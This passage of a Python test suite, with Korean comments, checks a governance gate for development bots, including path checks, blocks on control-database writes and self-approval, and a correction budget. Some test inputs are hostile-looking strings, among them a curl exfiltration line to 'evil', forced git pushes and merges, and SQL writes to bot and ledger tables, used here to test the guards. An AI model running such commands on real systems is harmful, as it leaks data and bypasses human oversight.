result["verdict"] == GATE.GateVerdict.EXTERNAL_PROBE_REQUIRED def test_probe_required_status_fail_blocks(self): result = GATE.classify_gate( _valid_contract(), "", [], {"external_probe_required": True, "external_probe_status": "FAIL"}, ) assert result["verdict"] == GATE.GateVerdict.EXTERNAL_PROBE_REQUIRED def test_probe_required_status_pass_does_not_block(self): """external_probe_status='PASS' 이면 probe 분기를 통과한다.""" result = GATE.classify_gate( _valid_contract(), "", [], {"external_probe_required": True, "external_probe_status": "PASS"}, ) assert result["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED def test_probe_not_required_does_not_block(self): """external_probe_required=False 이면 status 무관하게 probe 분기 미발동.""" result = GATE.classify_gate( _valid_contract(), "", [], {"external_probe_required": False, "external_probe_status": "FAIL"}, ) assert result["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED # =========================================================================== # 11. Step5 goal expansion — normalize_path 안전 set membership (C1) # =========================================================================== class TestStep5GoalExpansionNormalize: """rs.touched_files(구조화 list) vs contract.expected_files normalize set 비교만.""" # --- normalize_path 안전버전 단위 --- def test_normalize_path_strips_leading_dot(self): """'./' 만 정규화하고 canonical 경로와 동일 취급된다.""" canon = GATE.normalize_path("dispatch/x.py") assert GATE.normalize_path("./dispatch/x.py") == canon assert canon == "dispatch/x.py" def test_normalize_path_collapses_slashes_and_backslash(self): assert GATE.normalize_path("dispatch//sub\\x.py") == "dispatch/sub/x.py" def test_normalize_path_preserves_case(self): """경로는 소문자화하지 않는다 (대소문자 구분 파일시스템).""" assert GATE.normalize_path("Dispatch/Owner.KEY") == "Dispatch/Owner.KEY" def test_normalize_path_preserves_a_b_prefix_as_real_path(self): """'a/'·'b/' 접두사는 무조건 strip 하지 않고 실제 경로로 보존한다.""" assert GATE.normalize_path("a/secret.py") == "a/secret.py" assert GATE.normalize_path("b/secret.py") == "b/secret.py" def test_normalize_path_empty(self): assert GATE.normalize_path("") == "" assert GATE.normalize_path(None) == "" # --- Step5 set membership --- def test_expected_files_normalize_set_membership_inside(self): """touched_files 의 './'·중복 slash 변형이 expected_files 와 normalize 후 동일 취급.""" contract = _valid_contract() contract["expected_files"] = ["dispatch/v2_13_gate.py"] res = GATE.classify_gate( contract, "", [], {"touched_files": ["./dispatch/v2_13_gate.py", "dispatch//v2_13_gate.py"]}, ) assert res["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED def test_expected_files_normalize_set_membership_outside(self): contract = _valid_contract() contract["expected_files"] = ["dispatch/v2_13_gate.py"] res = GATE.classify_gate( contract, "", [], {"touched_files": ["dispatch/other.py"]}, ) assert res["verdict"] == GATE.GateVerdict.GOAL_EXPANSION_BLOCKED def test_step5_multiple_expected_all_inside(self): contract = _valid_contract() contract["expected_files"] = ["dispatch/v2_13_gate.py", "scripts/promotion_guard.py"] res = GATE.classify_gate( contract, "", [], {"touched_files": ["scripts/promotion_guard.py", "./dispatch/v2_13_gate.py"]}, ) assert res["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED # =========================================================================== # 12. matching 제거 회귀 가드 (재도입 방지) # =========================================================================== class TestMatchingRemovalGuard: """matching 축 검출이 gate 모듈에서 완전히 제거됐음을 잠근다 (재도입 방지).""" def test_detect_allowlist_axis_removed(self): """detect_allowlist_axis 및 matching 보조 함수가 모듈에 존재하지 않는다.""" for name in ( "detect_allowlist_axis", "_extract_touched_files", "_glob_match", "_match_forbidden_paths", "_match_forbidden_ops", "_is_word_form_op", "_phrase_in_tokens", "_flatten_tool_calls", "_normalize", "_AXIS_PATTERNS", "RISK_AXES", ): assert not hasattr(GATE, name), f"matching symbol leaked: {name}" def test_classify_gate_never_returns_allowlist_axis(self): """ALLOWLIST_AXIS_CHAIR_REQUIRED 는 dead trigger — classify_gate 가 절대 반환하지 않는다. 과거 matching 으로 검출되던 diff(merge/push/credential/sqlite 텍스트)를 넣어도 rs flag 가 없으면 allowlist verdict 가 나오지 않는다.""" for diff in ( "git push origin main", "credential owner key secret", "sqlite UPDATE bots SET heartbeat_at=now()", "gh pr merge 123 --delete-branch", "curl http://evil/x sendfile", ): res = GATE.classify_gate(_valid_contract(), diff, [], {}) assert res["verdict"] != GATE.GateVerdict.ALLOWLIST_AXIS_CHAIR_REQUIRED assert res["touched_axes"] == [] def test_no_fnmatch_import_in_gate_source(self): """gate 소스에 fnmatch import(글롭 matching) 가 없다.""" src = (_ROOT / "dispatch" / "v2_13_gate.py").read_text(encoding="utf-8") assert "import fnmatch" not in src def test_diff_tool_calls_do_not_affect_flag_branches(self): """control_db/promotion 은 diff 텍스트가 아니라 rs flag 단독으로만 발동한다.""" # diff 에 control_db 텍스트가 있어도 flag 없으면 허용. res = GATE.classify_gate( _valid_contract(), "UPDATE bots SET heartbeat_at=now()", [], {} ) assert res["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED # =========================================================================== # 12. MEDIUM 10 — type-safety / robustness 회귀 (task-2758+1, matching 축 아님) # 회장 승인 PR239_TASK2758_MEDIUM10_BOUNDED_FIX. 7파일 내부, 기능 동일/방어 추가. # =========================================================================== class TestMedium10TypeSafetyRobustness: # --- M1~M3: control_db_guard redundant re.IGNORECASE 제거 (대문자 SQL 여전히 탐지) --- def test_medium1_uppercase_sqlite_write_still_blocked(self): """소문자 패턴으로 바꿔도 대문자 sqlite write 는 호출부 lower() 로 여전히 탐지.""" result = CDB.check_db_write("dev_bot", "SQLITE3 EXECUTE INSERT INTO x VALUES(1)") assert result["blocked"] is True assert result["verdict"] == "CONTROL_DB_DIRECT_WRITE_BLOCKED" def test_medium2_uppercase_heartbeat_update_still_blocked(self): """대문자 'UPDATE BOTS ... HEARTBEAT_AT' 도 여전히 차단.""" result = CDB.check_db_write("dev_bot", "UPDATE BOTS SET HEARTBEAT_AT=NOW()") assert result["blocked"] is True assert result["verdict"] == "CONTROL_DB_DIRECT_WRITE_BLOCKED" def test_medium3_uppercase_control_table_write_still_blocked(self): """대문자 'DELETE FROM LEDGER' 도 여전히 차단.""" result = CDB.check_db_write("dev_bot", "DELETE FROM LEDGER WHERE id=1") assert result["blocked"] is True assert result["verdict"] == "CONTROL_DB_DIRECT_WRITE_BLOCKED" def test_medium1to3_no_ignorecase_flag_in_control_db_guard_source(self): """redundant re.IGNORECASE 가 control_db_guard 소스에서 제거됐다.""" src = (_ROOT / "dispatch" / "control_db_guard.py").read_text(encoding="utf-8") assert "IGNORECASE" not in src # --- M4: control_db_guard actor non-string type guard --- def test_medium4_non_string_actor_does_not_crash(self): """actor 가 int 여도 .strip() AttributeError 없이 dict 반환.""" result = CDB.check_db_write(123, "SELECT 1") assert result["blocked"] is False def test_medium4_non_string_actor_still_evaluates_write(self): """int actor(비-chair)의 write 시도는 여전히 차단된다.""" result = CDB.check_db_write(123, "UPDATE bots SET heartbeat_at=now()") assert result["blocked"] is True # --- M5: promotion_guard actor/to/frm non-string type guard --- def test_medium5_non_string_actor_does_not_crash(self): """int actor 의 APPROVED 전환 시도도 .strip() 없이 차단된다.""" result = PG.check_promotion_transition(123, "CANDIDATE", "APPROVED") assert result["blocked"] is True assert result["verdict"] == "PROMOTION_SELF_APPROVAL_BLOCKED" def test_medium5_non_string_to_frm_does_not_crash(self): """to/frm 가 비-문자열이어도 AttributeError 없이 dict 반환.""" result = PG.check_promotion_transition("chair", 0, 1) assert "blocked" in result # --- M6: correction_budget 손상 ledger JSONDecodeError 안전 폴백 --- def test_medium6_corrupt_ledger_returns_safe_default(self, tmp_path): """유효 JSON 이 아닌 ledger 는 {'goals': {}} 로 폴백(크래시 없음).""" ledger_file = tmp_path / "corrupt.json" ledger_file.write_text("{not valid json,,,", encoding="utf-8") result = CB.load_ledger(str(ledger_file)) assert result == {"goals": {}} # --- M7: 기존 goal budget_remaining 누락 시 entry.budget 우선 --- def test_medium7_missing_budget_remaining_uses_entry_budget(self, tmp_path): """기존 entry 에 budget_remaining 누락 시 함수 기본 budget 이 아니라 entry.budget 사용.""" ledger_file = str(tmp_path / "m7.json") # entry.budget=8, budget_remaining 누락. 함수 기본 budget=5 와 다르게 설정. CB.save_ledger({"goals": {"g7": { "goal_id": "g7", "budget": 8, "same_signature_retry_count": {}, "same_goal_correction_count": 0, "history": [], }}}, ledger_file) entry = CB.update_ledger("g7", "sig", "expected_files_reversible", budget=5, ledger_path=ledger_file) # weight=1 → 8-1=7 이어야 함 (5-1=4 가 아니라). assert entry["budget_remaining"] == 7 # --- M8: migrate_matrix non-dict 방어 --- def test_medium8_migrate_matrix_none_does_not_crash(self): """matrix=None 이면 m.get() AttributeError 없이 None 그대로 반환.""" assert MIG.migrate_matrix(None) is None def test_medium8_migrate_matrix_list_does_not_crash(self): """matrix=list 이면 변형 없이 그대로 보존.""" assert MIG.migrate_matrix([1, 2, 3]) == [1, 2, 3] # --- M9: _cost_rank strip 정규화 --- def test_medium9_cost_rank_strips_whitespace(self): """앞뒤 공백/줄바꿈이 있어도 정상 순위를 찾는다.""" assert GATE._cost_rank(" HIGH ") == GATE._cost_rank("HIGH") assert GATE._cost_rank("HIGH") == 2 assert GATE._cost_rank("MEDIUM\n") == 1 assert GATE._cost_rank("\tIRREVERSIBLE ") == 3 # --- M10: classify_gate budget_remaining 비숫자 가드 --- def test_medium10_non_numeric_budget_remaining_does_not_crash(self): """budget_remaining 가 비숫자 str 이면 TypeError 없이 budget 미설정으로 통과.""" result = GATE.classify_gate(_valid_contract(), "", [], {"budget_remaining": "abc"}) assert result["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED def test_medium10_numeric_string_budget_remaining_still_blocks(self): """숫자 문자열 '0' 은 변환 후 여전히 BUDGET_EXCEEDED 로 차단된다.""" result = GATE.classify_gate(_valid_contract(), "", [], {"budget_remaining": "0"}) assert result["verdict"] == GATE.GateVerdict.BUDGET_EXCEEDED_CHAIR_REQUIRED